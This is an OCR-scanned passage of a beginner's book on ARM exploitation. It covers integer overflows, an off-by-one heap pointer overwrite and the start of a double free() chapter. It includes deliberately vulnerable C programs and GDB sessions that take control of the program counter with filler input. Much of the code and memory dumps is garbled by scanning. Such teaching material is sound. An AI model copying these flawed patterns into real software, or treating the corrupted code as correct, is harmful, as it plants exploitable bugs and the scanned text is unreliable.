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About the author

My name is Billy Ellis, I'm currently 17 and I’'m
an 10S developer with a deep interest in mobile
security and programming. I’'ve been fascinated by
i0S jailbreaking and the underlying process of
jailbreaking an 10S device for the past 5 years
and during that time I have started my own
personal research in this field.

Initially I found it very difficult to find any
information online that was useful to a beginner like myself for
getting started learning about software exploitation. There were
very few tutorials out there that were suitable for someone with
zero knowledge and even less focusing specifically on the ARM
architecture, which is what I was particularly interested in.

Eventually, I did manage to find enough information on basic
exploitable vulnerabilities that I went on to create my own dummy
programs to practice. Since then, my focus has not only been on
experimenting with older i0S vulnerabilities and learning mobile
software exploitation myself but also on providing newcomers with
beginner-friendly tutorials and training material to assist them
in starting out in the hacking and mobile security field.

Some of my work over the past few years includes a public set of
‘exploit exercises’ for ARM that can be downloaded from my Github
(https://github, com/Billy-Ellis/Exploit-Challenges) and various
video write-ups to go along with them that can be found on my
YouTube channel (https://www.youtube.com/BillyEllis).

Last summer (July 2017) I began writing Volume I of ‘Beginner’s
Guide to Exploitation on ARM’ which aimed to be a resource to help
beginners, with no prior knowledge of software exploitation, get
started in this amazing field and learn enough about the
fundamentals to then go on and carry out research of their own!
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Introduction

When I began writing Volume I, my initial expectation was that I'd
only sell a few copies to some of the people who had followed me
cnline for some time, and that would be it. However, the outcome
has been overwhelming and I'm extremely grateful for everyone who
ordered a copy and for all of the great feedback I've received on
the content of the book!

Soon after the book had been put on sale I thought it would be a
great idea to begin writing a ‘Volume II’ covering some of the
more advanced software exploitation topics that the first book did
not discuss, while still being as beginner—-friendly as possible.
And here we are now!

The content covered in this book takes a step up from the previous
book in terms of complexity and will require the reader to have a
thorough understanding of the core concepts of assembly
programming, exploitation of basic memory corruption
vulnerabilities and Return Oriented Programming (ROP) - for this
reason, I suggest that anyone who plans on reading this book reads
my first book beforehand.

As with Volume I, it is recommended that you have access to a
jail-broken i0S device (or another ARM device) in order to be able
to follow along with the example exercises covered in each
chapter.

Finally, I hope you enjoy reading this book as much as I enjoyed
writing it!
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Integer Overflows

To transition smoothly from the previous book to Volume II, we are
going to start off by covering in much more detail a couple of the
vulnerability types that were mentioned very briefly towards the
end of Volume I,

If you've read Volume I in its entirety, you will remember that in
Chapter 11, ‘Exploitation in the Real World’', I discussed a couple
of software vulnerabilities that could be found in modern
applications today. Even though I gave examples of code vulnerable
to these issues, we did not take an in-depth look at the full
exploitation of these bugs.

In these first two chapters we will take a look at two example
programs vulnerable to these bugs and see how we can exploit them
to gain code execution!

First of all (and as the chapter title suggests), we will look
more deeply into integer overflow vulnerabilities. Let’'s do a
quick recap of what we already looked at.
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Below is the code snippet shown in Volume I that demonstrates a
very artificial example of an integer overflow bug:

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[1){

unsigned short number;
int i;

i = atoi(argvl1l);
number = i;

printf(“number is = %d\n",number);

return 0;

In Volume I we loocked at how the result of using multiple
different data types to store numeric values could cause a ‘wrap
around’ due to the maximum representable value for each data type
being different. In a program like the one above, this is
obviously not a huge deal and definitely not a threat to the
application. However, let’s take a look at another example but
this time one in which the presence of an integer overflow
vulnerability leads to the creation of a more critical bug that
can be taken advantage of by an attacker.

Look at the following source code:

// int_overflow.c

//

//

// Created by Billy Ellis on 13/03/2018.
/7

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

unsigned int get_length(char datall){
unsigned int size;

for (size = 0; datalsize] != '\@'; size++);

return size;

}
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void buffer_the_data(char datal]){
char dataBuf[32];

//copy data into dataBuf[]
strcpy(dataBuf,data);
printf("Data is %s\n",dataBuf);

int main(int argc, char xargv[]1)}{

if (argc < 2){
printf("Usage: %s <DATA>\n",argv[01);
exit(-1);

}

unsigned char datalen = get_length(argv[1]l);

if (datalLen < 32){
printf("Data is valid!\n");
buffer_the_data(argv[1]l);
Yelseq
printf("The data you entered is too large. Data must be
less than 32 bytes.\n");
}

return @;

}

The above code is for a program demonstrating how an integer
overflow vulnerability can allow an attacker to bypass the bounds
checking of what would be expected to be a secure data-buffer
copy.

We start in main(), where there is a quick check on the number of
arguments supplied to the program. If a ‘data’ argument is not
present, it will print out a short usage message.

if (argec < 2){
printf("Usage: %s <DATA>\n",argv[0]);
exit(-1);

Next, a variable of type ‘unsigned char’ is declared and is
assigned the return value of get_length(argv([1]).

unsigned char datalen = get_length{argv[1l);

10
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This is the single line of code that causes the integer overflow
issue. The ‘unsigned char’ data type used for the ‘datalen’
variable has a maximum value of 255 (since a char is represented
in memory by a single byte), whereas the get_length() function is
returning an ‘unsigned int’ (a 32-bit unsigned integer) with a
maximum value of 4,294,967,295. With these figures and our prior
knowledge of the ‘wrap-around’ concept, it becomes pretty clear
how the size of the data argument could be misinterpreted by the
program. We’'ll look more at this in a moment.

Following this variable declaration, a check is done on this same
variable to ensure that it is not greater than 32. If it is not,
the program will proceed to call buffer_the_data(), passing the
data as the first and only argument.

if (datalLen < 32){
printf("Data is valid!\n");
buffer_the_data(argv(1])};

The buffer_the_data() function is essentially just a wrapper for
strcpy(). It declares a 32-byte buffer on the stack and then
copies all the data into this buffer. Although strcpy() doesn’t
implement any bounds checking of its own, this theofetically
should be safe programming practice as the program will have only
reached this part of code if the length was already confirmed to
be less than 32 bytes.

void buffer_the_data(char data[]){
char dataBuf[32];
//copy data into dataBuf[]
strcpy(dataBuf,data);
printf("Data is %s\n",dataBuf);

If the length turns out to be a value greater than 32, the
alternate path in the if-statement is taken which prints out an
error message stating that the data length is too large.

telse{
| printf("The data you entered is too large. Data must be
| less than 32 bytes.\n");
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Seeing the program in action, we can observe that this logic
appears to work as it should.

Executing ./int_overflow with a data input of ‘AAAA’ produces the
following output:

Billys-N4BAP:/var/mobile root# ./int_overflow AAAA
Data is valid!

Data is AAAA -
Billys—N4BAP:/var/mobile root# i

The data is accepted and considered valid since it only consists
of 4 characters.

Executing the program with a larger amount of bytes (some amount
greater than 32) gives us a different output:

Billys-N4BAP:/var/mobile root# ./int_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The data you entered is too large. Data must be less than 32 bytes.

Billys-N4BAP:/var/mobile root# Hl

The program identifies that the input is too large and shows us
the error message.

So how can we manipulate this? It's very simple - enter an amount
of data that causes a ‘wrap around’ effect on the ‘datalen’
variable in such a way that our input is treated by the program as
being shorter than it really is.

Here’'s a quick visualisation:

128 64 32 16 8 4 2 1

char (1 byte)

The above diagram represents the 8 bits used to represent a ‘char’
data type.
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Since this data type only takes up 1 byte (or 8 bits) of memory
space, the maximum value that can pe represented would be when all
8 bits are set to 1. This would result in a total value of 255.

128 64 32 16 8 4 2 1

1111102 )2]2]1]1]|char (1 byte)

=255

On the other hand, the value returned from get_length() is a full
32-bit unsigned integer. This data type uses 4 bytes (or 32 bits)
in memory, with the maximum value being a huge 4,294,967,295!

So what happens if the value from a 32-bit integer is assigned to
a char data type? Let’s assume, for example, that the number
0b100000000 (or 256 in decimal) is being assigned to a char data
type. As illustrated in the diagram below, it takes exactly 9 bits
to represent this number - which happens to be one bit too many!

256 128 64 32 16 8 4 2 1

11111111 }11}1

1 © 0 0 © 0 0 0 0

when this 9-bit value is assigned to the 8-bit data type, the most
significant bit (left most bit) is simply lost, resulting in the
value turning out very small and in this case, zero.

256 128 64 32 16 8 4 2 1
I |ejojojo]jojojo]eo

The term ‘wrap around’ comes from the idea that once the number
reaches the maximum value representable by its data type, any
greater value will ‘reset’ the value back to @ and then work its

way back up again.

13
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A similar thing may happen when dealing with subtraction involving
signed and unsigned data types. This is known as an integer
underflow as oppose to an overflow and occurs when a number is
subtracted from a data type that is already at its lowest negative
representable value. Subtracting from it will also cause a ‘wrap
around’ but instead of becoming a very small value, it becomes an
extremely large value.

In the case of our test program, we should theoretically be able
to enter an input of size 256 and the program will interpret the
length of the data as @ and will proceed to copy the data into the
buffer, thus causing a buffer overflow on the stack!

Let’s try it:

Billys-N4BAP:/var/mobile root# ./int_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AARAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAARARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAARAAAAAAAAARAAAAAAAAAAAARAAAAAAAAAAAAAAA

Data is valid!

Data is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ARAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAAAAAAARRARAAAAAAARAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA

Segmentation fault: 11 _

Billys—N48AP:/var/mobile root# (i

As shown above, this huge input of ‘A's is accepted as valid data
and is copied into the buffer on the stack causing a stack buffer
overflow.

The program exits with a ‘Segmentation fault’ and examining the
crash log, we can see that the saved return address has been
overwritten with 0x41414141 and we now fully control R15.

Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS afl 0x41414140
Triggered by Thread: @

Filtered syslog:
None found

Thread @ name: Dispatch queue: com.apple.main-thread
Thread @ Crashed:

] 777 8x41414140 0x00000000 + 0x41414140
Thread @ crashed with ARM Thread State (32-bit):
re: 0xesee0128  rl: ©x00000203 r2: 0x00000200 r3: 0x00000040
ra4: 0x00000000  r5: 0x00000000 r6: 0x00000000 r7: 0x4141414
rg: 9x00110720  r9: ©x3862b648 ri0: 0x0000e000 aupnosnnmn.,
ip: 0x00012868  sp: @x0@1106fc 1r: @x0000be84

cpsr: ©x40000030
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Conclusion

This chapter has demonstrated how a seemingly innocent integer
overflow vulnerability can lead to something more serious such as
the creation of a stack buffer overflow, leading to arbitrary code
execution. There are many variations of integer overflows and
underflows and various different ways in which they can be
exploited depending on the specific program.

In some cases there may not always be a way of using the integer
overflow to gain code execution, but there are also other ways in
which an attacker may use them. An example of one of these would
be information leakage, useful when dealing with an ASLR-enabled
system. Imagine the scenario in which a specific variable’s value
is used to read a set amount of bytes from some location in
memory. If this variable can be manipulated through overflowing/
underflowing it, it may be possible to read an arbitrary amount of
bytes and leak pointers from adjacent memory.

The point is - be creative when dealing with these integer based
bugs! You never know how you may be able to affect the behaviour

of a program before you experiment with it.

15
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- | one-Byte Overflows

! The second type of vulnerability mentioned in Chapter 11 of the

'€ previous book was the ‘single byte overflow', sometimes referred
to as an ‘off by one’ bug. As the name suggests, this refers to a
class of vulnerability in which a single byte of data can escape a

of puffer and overflow into adjacent memory.

As this is only a single byte there is often a huge limitation on
: what the attacker can do in terms of exploiting this bug. It would
not be possible to corrupt enough memory to completely overwrite a
return address or any function pointers. A single byté is all you
get to work with. But believe it or not, it can still be possible
for a skilled attacker to gain arbitrary code execution.

As with integer overflows, off-by-one vulnerabilities also vary a
huge amount with regards to where in a program they occur and what
damage they can potentially cause, some being more critical than
others.

On the next page, we will take a look at how an off-by-one
vulnerability could be exploited to achieve arbitrary code
execution.

16
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Target Program

To demonstrate the exploitation of an off-by-one bug we will use
ROPLevel7 — the 7th program in the series of ARM exploit exercises
developed by myself.

Executing ROPLevel7 without any arguments returns a usage prompt:

Billys—-N9@AP:/var/mobile root# ./roplevel?
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Usage: ./roplevel7 <data> <block_data>
Billys—N9®AP:/var/mobile root# H

This tells us that the program expects two arguments - <data> and
<block_data>, both of which are strings of alphanumeric data.

Running the program again, this time passing the two data
arguments, we receive the following output:

Billys—-N9@AP:/var/mobile root# ./roplevel7 AAAA BBBB
Welcome to ROPLevel? by (bellis1000!
This level involves exploiting an off-by-one vulnerability.

Everything is fine.
Billys—N9@AP:/var/mobile root# 4

A short message is displayed and the program exits.

So what exactly is the point of this program? And what is going on
behind the scenes? For the sake of simplicity in this chapter, we
will not spend any time reverse engineering the binary but instead
we will look at a visual explanation of what it is doing.

Also note that once again, this is an artificial program solely
designed for the purpose of demonstrating the exploitation of the '
off-by—-one vulnerability and does not have a real use case. ‘

17
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understanding the binary

The first thing the program does upon execution (aside from
€s printing out the welcome message and checking the number of
arguments passed) is to call malloc() twice.

struct Bl *s = malloc(256);
s->myStruct = malloc(256);

V. The first call to malloc() is used to hold the data that makes up
a particular struct — Bl. This struct is defined as follows:

struct B1{
d char datal[16];
struct B2 xmyStruct;
char data2[1281];

};

The structure contains a 16-byte char array, followed by a pointer
to another struct, followed by another char array. The other
ty. struct pointer is what the second call to malloc() is-used for.

This struct is defined as follows:

struct B2{
int (*ptr)();
char c[128];

on
I

ead
This struct contains a function pointer and a 128-byte char array.

So to clarify - we have a structure on the heap that holds some

he data and a pointer to an adjacent structure on the heap. This
adjacent structure holds a pointer to a function as well as some
other data.

18
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Below is a visualisation of the layout of the heap memory once the
program has started:

0x13bced char datal[16];

*myStruct
(0x13bded)

char data2[128];

0x13bde0d gty

char c[128];

Notice — this diagram depicts only the layout of the memory after
the two malloc() calls have passed. This memory is currently
unpopulated apart from the *myStruct pointer in the first struct.

After the calls to malloc() the program goes on to begin
populating some of this memory.

s—>myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argvl2],126);

Firstly, it assigns the value of the function pointer in the
second struct to the address of function(). This short function is
what displays the ‘Everything is fine.’ message.

Secondly, argv[2] (the second argument passed by the user) is
copied to two places using strncpy(). It is first copied to the
char array in the second struct and then to the second char array
in the first struct.
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pue to the program using strncpy() (as oppose to strcpy()), the
length of data being copied is controlled and therefore there is
no buffer overflow vulnerability present.

finally, the program copies argv[l] into the first char array in
the first struct using the following code:

for (int 1 = 0; 1 <= 16; i++){
if (argv[11[il != @){
s—>datali]l = argv[1][il;
}elsed
break;

}

You may recognise this code from Chapter 11 of Volume I because
this is where the off-by-one vulnerability occurs. We’ll get back
to this in a bit.

Assuming that we pass ‘AAAAAAAA’ and ‘BBBBBBBB’' as arguments to
the program, let’s take a look at an updated version of the
visualisation to see how the memory is populated: N

@x13bced AAAAAAAA

@x13bded

BBBBBBBB

0x13bde0 Oxbd64

BBBBBBBB

20
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As you can see from the previous page, the two strings we passed
as arguments are placed into their respective buffers on the heap
and the function pointer in the second struct is set to the
address of function().

There is one last thing ROPLevel7 does before exiting, and this is
call the function pointer.

s—>myStruct->ptr();

Assuming everything is set up correctly, this line of code will go
to the first struct on the heap, find the pointer to the second
struct, and jump to the address stored at the beginning of that
struct which should be the address of function().

The program will then exit normally after stating that ‘Everything
is fine’'.

The vulnerability

Now that we’ve covered a high level overview of the program’s
execution we can get back to focusing on what this chapter is
meant to be about — off-by—one bugs! -

Looking back at the code snippet in which argv[1l] is copied into
the 16-byte char array we can spot the logic error:

for (int i = 0; i <= 16; i++){
if (argv[11[i] != @){
s->datali] = argv[11[il;
}elseq{
break;

The condition for the loop is incorrect. Since the buffer we are
copying data to is 16 bytes long, we only want to copy 16 bytes of
data to it. That is what the programmer has attempted to do in
this case, but one tiny mistake has resulted in the birth of an
off-by—-one bug!

21

https://t.me/learningnets



d
\ap

. go

1ing

e
3 of

The condition for the loop results in copying 17 bytes instead of
16. This is because it goes from ‘int i = 8’ to ‘i <= 16’. The
1<=', meaning ‘less than or equal to’, results in the loop
iterating 17 times. The correct way to write this loop would be to
use ‘<' instead of ‘

<=‘,

As it so happens, the buffer vulnerable to this single-byte
overflow sits next to the pointer to the second struct. This means
that the 17th byte of data will overwrite the least significant
byte of the struct pointer, causing the program to think this
struct is located somewhere else.

It is important to know that since we’re working with a little-
endian system, bytes are read in reverse order. This is why we
overwrite the least significant byte of the pointer (@xXXXXXX41)
and not the most significant byte (@x41XXXXXX). This limits what
we can do using this vulnerability as we can only modify the
address by a small amount.

Exploitation

We now have a thorough understanding of how ROPLevel7 works behind
the scenes, how the heap memory is organised and we have
identified a vulnerability that allows us to overwrite one byte of
a pointer. Using this knowledge we can now move on to the
exploitation phase!

We will walkthrough the execution of the program inside GDB so we
can see exactly what is happening with the live memory as we go on
to manipulate it.

22
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Let’'s first start GDB and set some breakpoints throughout our
target binary.

Billys-N9@AP:/var/mobile root# gdb roplevel? i
5/usr/b1n/gdb line 136: file: command not found
/usr/bin/gdb: line 171: file: command not found
‘GNU gdb 6.3.50-20050815 (Apple version gdb-1788 + reverse.put.as patches v@.4) (
‘Mon Apr 16 80:53:47 UTC 2012)

‘Copyrlght 2004 Free Software Foundation, Inc.

‘6DB is free software, covered by the GNU General Public License, and you are
'welcome to change it and/or distribute copies of it under certain conditions.
*Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

iThis GDB was configured as "arm-apple-darwin"...Reading symbols for shared librq
iries . done i

}(gdb) b *x@xbdf8
Breakpoint 1 at @xbdf8
i(gdb) b *@xhe@8
Breakpoint 2 at @xbe®8
I{gdb) b *@xbee@
Breakpoint 3 at @xbee® 1

1tgdb) H

In the above screenshot breakpoints have been set at @xbdf8, {
oxbed8 and Oxbeed. The first two are the instructions directly :
after the two malloc() calls.

0000bdfo movw ro, #0x100 -
AAAALL LS bl imp__ symbolstubl__malloc
movw rl, #0x100

AJols]ae]s str re, [r7, var_le]

0000be00 mov re, rl

RARALSAY bl imp___symbolstubl__malloc

0000bed8 movw r2, #0x7e

When execution stops at these locations, we will be able to
quickly identify where in the heap memory our two structs have be
stored as the pointer to each will be held in R@. This is due to
the fact that malloc() returns a pointer to the memory block it
has just allocated and return values are passed in R@.

The third breakpoint is at the instruction just before the program
calls the function pointer.

0000beed dr ro, [rol

hoUbeed blx ro

e e e —————————————————————————————

23
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This breakpoint will allow us to take a final look at the
populated heap memory just before the function pointer is called.

once the breakpoints are set, we start the program using ‘run’' and
pass 16 ‘A’'s (not 17 yet, we’ll get to that) and some ‘B’s as the
two arguments.

(gdb) run AAAAAAAAAAAAAAAA BBRBEBBBBBBBBBBBBBBEBBBBEBBBBBBBB
starting program: /private/var/mobile/roplevel7 AAAAAAAAAAAAAAAA BBBBBBBBBBBBBEB

BBBBBBBBBBEBBBBBB ) .
Reading symbols for shared 1%hrar?es + done

Reading symbols for shared libraries ........ . e PN done
welcome to ROPLevel7 by @bellisieee!

This level involves exploiting an off-by-one vulnerability.

preakpoint 1, 0x0000bdf8 in main ()
(gab) B

We are immediately stopped at the first breakpoint. At this point,
malloc() has been called and the pointer to the allocated heap
chunk will be in R@. We can type ‘i r’ or ’info registers’ to view
the current state of the registers.

Breakpoint 1, 0x0000bdf8 in main ()

I(gdb) i r

e Bx11fel® 1179152

ri ox0 %)

r2 2x100 256

r3 0x60003 393219

rh oxe ]

r5 oxe 0

6 oxe ]

7 ox27dff7ce 668989376
r8 0x27dff7¢8 668989384
r9 OxFFffffff -1

rle 2xe (%]

rili oxe e

ri2 0x3c33a200 1010016768
sp 0x27dff798 668989336
1r 0x3a5t9e5b 979344987
pc Oxbdf8 48632

Highlighted in the screenshot above, you can see that R@ holds
@x11feld. If we examine the memory at this location we should only
see a series of null bytes as the program has not yet populated
the memory.

24
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Typing ‘x/128wx 0x11fel®’ (to examine 128
from the specified address) confirms this

(gdb) x/128wx @x11feld

ox11feld:
9x11fe20:
9x11fe30:
Bx11fe40:
0x11feb0:
0x11feb0:
ox11fe70:
8x11fe80:
8x11fe90:
Ox11fead:
Bx11febo:
Bx11fecoO:
8x1ifedo:

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
6x00000000
0x000000088
0x00000000
0x00000000

0x00000080
0x00000000
0x00000000
0x00000000
0x000000800
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

0x00000000
0x00000000
0x00000000
6x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

iiiililiiiiii..iIi...i....-ii........illllil.lI...-iI-llIIiiillii-iIIIIIIIIiiii'l-

words in hexadecimal

to be true.

0x00000000
0x00000000
0x00000000
0x00000000
8x00000000
9x00000000
0x00000000
0x00000000
0x00000000
8x00000000
0x00000000
0x00000000
B8x00000000

Continuing execution of the program, we hit the second break point
after the second call to malloc(). Here we do the same - type ‘i
r' to view the state of the registers and observe the value in RO.

(gdb) ¢
Continuing.

Breakpoint 2, 0x6000be®8 in main ()

(gdb) i r

re ox11ff1e 1179408

rl oxoe %)

r2 0x100 256

r3 ox6 6

Y4 ox0 0

r5 ox0 [}

ré ox0 %)

r7 0x27dff7ce 668989376
r8 ox27dff7c8 668989384
Y9 Oxffffffff -1

rie ox0 0

ril oxe %]

rl2 0x3c33a200 1010016768
sp ex27dff798 668989336
1r Bx3a5f9e5b 979344987
pc Oxbed8 48648

This time the value is 0x11ff1@0. The difference between this
pointer and the previous is @x100 (256 in decimal) which makes
perfect sense since both calls to malloc() requested 256 bytes of
memory. Due to the difference being only 256, it is clear that
both chunks are located adjacent to each other on the heap.

25
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To check that we are looking at the correct pointer, again we can
examine the contents of the memory at that address and expect to
see lots of zeros.

(gdb) x/128wx Ox11ff1e

px11ff10:
px11ff20:
gx11ff3e:
px11ff40:
px11ff50:
gx11ff60:
px11ff70:
ex11ff8e:
ex11ff90:
gx1iffae:
px11ffbe:

0x00000000
9x00000000
0x00000000
0x00000000
9x00000000
9x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
©x00000000
©x00000000
8x00000000
0x00000000
0x00000000

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

continuing execution for the second time, we eventually reach our
final breakpoint just before the call to the function pointer. By
now, the allocated heap memory has been populated with our data.

yint

RO.

Through a second examination of the first allocated heap chunk we
can see the layout of our user-supplied data as well as the
pointer to the second chunk (highlighted in the screenshot).

(gdb) ¢
Continuing.

of

Breakpoint 3, 0x0000bee® in main ()
(gdb) x/128wx @x1lfel®

ox1l1felO:
9xl1llilfe20:
9x11fe30:
ox11fes40:
0x11fe50:
0x11feb60:
Ox11fe70:
0x11fe80:
0x11fe90:
0x11fea0d:
0x11febo:
Ox11fecO:

Ox41414141
0x0011ff1e
Ox42424242
Ox42424242
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

Ox41414141
Ox42424242
Ox42424242
9x00000008
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

https://t.me/learningnets

Ox41414141
Ox42424242
Ox42424242
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
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Doing the same with the second
to function() sits at the very
by the ‘B's we entered.

(gdb) x/128wx 0x11ff1e

‘oxi1ffie:
ox11ff20:
ex11ff3e:
‘ox11ff40:
'‘Ox11ff50:
ox11ff60:
ox11ff70:
‘ox11ff8e:
ox11ff90:
9x11ffa0:
0x11ffbo:
Ox11ffco:

Causing the program to interpret some other value as this function

oxe00e0bdéc
Ox42424242
OxX42424242
0x00000000
0x00000000
0x00000000
0x00000000
9x00000000
0x00000000
9x00000000
0x06000000
0x00000000

OX42424242
0x42424242
0x00000000
0x00000000
0x00000000
©x00000000
0x00000000
9x00000000
0x00000000
0x00000000
0x00000000
0x00000000

chunk, we can see how the pointer
beginning of this memory, followed

Ox42424242
Ox42424242
0x00000000
0x00000000
9x00000000
0x00000000
0x00000000
©x00000000
0x00000000
0x00000000
0x00000000
0x60000000

0x42424242
Ox42424242
0x000000800
8x00000000
0x00000000
0x00000000 |
0x00000000
0x00000000 |
0x00000000
0x00000000 '
0x00000000
0x00000000

pointer is actually extremely straightforward.

The extra ‘A’ is all that is needed - no other hassle involved.

We restart the program and this time pass 17 ‘A’s and some ‘B’'s.

Starting program: /private/var/mobile/roplevel? AAAAAAAAAAAAAAAAA BBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBB
Reading symbols for shared libraries + done
Welcome to ROPLevel7 by @bellisi@ee!
This level involves exploiting an off-by-one vulnerability.

Breakpoint 1, ©x@@06bdf8 in main ()

(gadb) I

When we examine the populated heap memory this time, it is obvious

that our off-by-one bug has been triggered.

https://t.me/learningnets
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Highlighted in the screenshot below, the least significant byte of
the pointer to the second heap chunk has been replaced with a @0x41

byte:

Breakpnint 3, 0x0000bee® in main ()
i(gdb} x/128wx ©x1617c@

ex1617c9:
ex1617d0:
gx1617e@:
ex1617f0:
9x161800:
ox161810:
9x161820:
ox161830:
09x161840:
9x161850:

Ox41414141
2x00161841
Ox42424242
Ox&2424242
0x000000008
0x00000000
0x00000000
0x00000000
©x00000000
0x00000000

Bx41414141
Ox42424242
Ox42424242
Bxe0800000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

Bx4141414]1
Ox42424242
Ox42424242
Ox0poeoene
0x00000000
0x00000000
0x00000000
0x90000000
0x00000000
0x00000000

0x41414141
OX42424242
Ox42424242
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000

The program, being completely oblivious to the fact that a byte of
memory has been corrupted, now believes that the second heap chunk
is at address

(the struct containing the function pointer)
9x161841 as oppose to

9x1617c¢c0:
0x1617d0:
0x1617e0:
ox1617f0:
9x161800:
ox161810:
0x161820:
9x161830:
9x161840:
0x161850:
0x161860:
0x161870:
0x161880:
0x161890:
0x1618a0:
0x1618h0:
0x1618c0:
0x1618d0:
0x1618e0:

Circled on the diagram is the location that the program now
believes holds the function pointer, when in reality it is further

Ox41414141
0x00161841
0x42424242
OX42424242
0x00000000
0x00000000

Xododuoy ¢S

0x60000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
9x0000bd6c
Ox42424242
Ox42424242

down in the memory.

0x00000000

0x1618c0.

Ox41414141
Ox42424242
Ox42424242
0x00000000
0x00000000
0x00000000
0x00000000
8x00000000
9x00000000
©x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
Ox42424242
Ox42424242
0x00000000
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0x41414141
OX42424242
OxX42424242
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0300000000
0x00000000
0x00000000
0x00000000
0x00000000
OX42424242
OX42424242
0x00000000
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0x41414141
Ox42424242
Ox42424242
0x00000000
0x000600000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
Ox42424242
Ox42424242
0x006000000
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In this case, the program will attempt to jump to @x00000000 since
we did not supply enough ‘B’s to reach that part of the memory.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00000000

8x00000008 in ?? ()

(gdb) H

However, simply execute it again but with a few more ‘B's . . .

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /private/var/mobile/roplevel7 AAAAAAAAAAAAAAAAA BBBBBBREBBBBBB
BBBBBBBBBBBEBBBBBBBBEBBRBBBBBEBBEBBBBBBBBEBBEBBBEBBBBBBBBBBBBBBBBBBEBBBBBBBBBBBBEB
BBBBBEBEBBBBBBBBBBBEPBBBEBBBEBBBBEBBBBBBBBABBBBEEBBBBBBBBBBBEBEBBRPEBBBBBBBBBBBEB
PBBBESEBBBBBEBBEBBEBBBBEEBBEBEBBBBEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBEBBBEBBBBBBBB
BBBBBBBBBBEBBBBBBBEBBEBEBBBBBEBBBBBR

Reading symbols for shared libraries + done

Welcome to ROPLevel7 by (bellislea8!

This level involves exploiting an off-hy-one vulnerability.

. +» . and the program attempts to jump to 0x42424240!

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: Ox42424240
Bx42424240 in ?? ()

(gdb) i r

re OX42424242 1111638594
ri 6x146c00 1338368

r2 0x146bfo 1338352

r3 Ox42 66

r4 ox0 2]

r5 ex0e 0

ré6 axe [}

r7 0x27dff6co 668989120
r8 ox27dff6c8 668989128
r9 0x3c33be30 1010023984
rl0 ox0 %]

ril ax0e [}

rl2 0x146c82 1338498

sp 8x27dff698 668989080
1r Oxbee8 48872

pc 0x42424240 1111638592

Thus we have successfully exploited the off-by-one bug to achieve
R15/PC control and therefore, control over execution flow!
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conclusion

In this chapter we have covered in detail what ‘off-by-one’
vulnerabilities are, how they can occur and how they can be

exploited.

As was the case for integer overflows (discussed in the previous
chapter), it may not always be possible to exploit this type of
vulnerability. It all comes down to the specific bug and place in
the program it is found in.

Also, there are other possible ways to exploit bugs like this that
do not involve overwriting a byte of a pointer but instead
overwriting part of a value that is used as a length for some copy
operation. This could potentially lead to a more critical
vulnerability such as a buffer overflow on the stack or the heap.

30
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Double free()

In this chapter we will look at another type of heap-related
memory corruption bug - the double free()! As the name suggests,
this is a specific kind of vulnerability that occurs as a result
of an allocated block of memory being free()'d not once, but
twice.

As with many of the other vulnerability types that have been
covered so far, double free()’s are no exception when it comes to
the variety of different ways in which they can be exploited.

Similarly to how we used an integer overflow to create an
exploitable stack buffer overflow, one of the most common ways to
exploit double free() conditions is by actually using them to
create a Use-After—-Free condition.

Use-After—-Free (UAF) bugs were covered in Volume I of this book
series, so you should hopefully be familiar with them and
understand how they can be exploited.

But you might be wondering — how can we ‘create’ a Use-After-Free
condition by taking advantage of a double free()?

Let’s look at how this could work from a theoretical perspective
first, and then we’ll go on to look at an example application.

31

https://t.me/learningnets

| ,
R - .



to

to

ree

a look at the following diagram depicting the heap memory in

Take
a process:
